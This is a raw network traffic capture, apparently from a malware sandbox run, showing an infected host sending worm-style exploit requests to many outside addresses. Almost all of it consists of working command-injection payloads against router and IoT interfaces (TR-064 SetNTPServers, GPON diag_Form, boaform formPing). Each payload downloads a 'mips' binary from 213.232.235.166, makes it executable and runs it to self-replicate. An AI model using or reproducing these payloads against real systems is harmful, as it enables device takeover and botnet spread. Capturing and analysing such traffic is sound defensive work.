Apr 15, 2024 08:52:52.409693003 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.13	53016	169.44.61.246	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.443826914 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.408443928 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.592952013 CEST	325	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 39 36 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 96<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.13	48076	3.161.54.248	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.458390951 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:52.660343885 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:52:52 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 87650d7b0ba0bbfcb52a7e6f358e5c9c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: QRO50-P2 X-Amz-Cf-Id: MB7gMzBKB9pKiSoWqjbuPoATRk9BW6dw8YYr68yMKEY9nv1GtmKamw== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 4d 42 37 67 4d 7a 42 4b 42 39 70 4b 69 53 6f 57 71 6a 62 75 50 6f 41 54 52 6b 39 42 57 36 64 77 38 59 59 72 36 38 79 4d 4b 45 59 39 6e 76 31 47 74 6d 4b 61 6d 77 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: MB7gMzBKB9pKiSoWqjbuPoATRk9BW6dw8YYr68yMKEY9nv1GtmKamw==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.13	34690	18.64.57.139	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.555787086 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:52.858563900 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:52:52 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 de78bd21952119995ead4ef929b150ce.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MEL52-P2 X-Amz-Cf-Id: k78uUMJP9LG4u_bUdtKuQbqlO91ktm3RHjYXbmH1TbbA7EaKsxtxzA== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 6b 37 38 75 55 4d 4a 50 39 4c 47 34 75 5f 62 55 64 74 4b 75 51 62 71 6c 4f 39 31 6b 74 6d 33 52 48 6a 59 58 62 6d 48 31 54 62 62 41 37 45 61 4b 73 78 74 78 7a 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: k78uUMJP9LG4u_bUdtKuQbqlO91ktm3RHjYXbmH1TbbA7EaKsxtxzA==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.13	60090	138.100.228.191	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.560322046 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.13	35726	23.204.122.75	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.646435976 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.13	58760	68.80.251.103	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.673217058 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:52.901783943 CEST	521	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Mon, 15 Apr 2024 02:54:59 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.13	40162	213.125.88.102	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.681401968 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.13	47624	62.29.77.18	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.692852974 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.13	43630	131.72.171.45	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.700285912 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:54.048445940 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:55.616436005 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:58.720448017 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:05.120429039 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
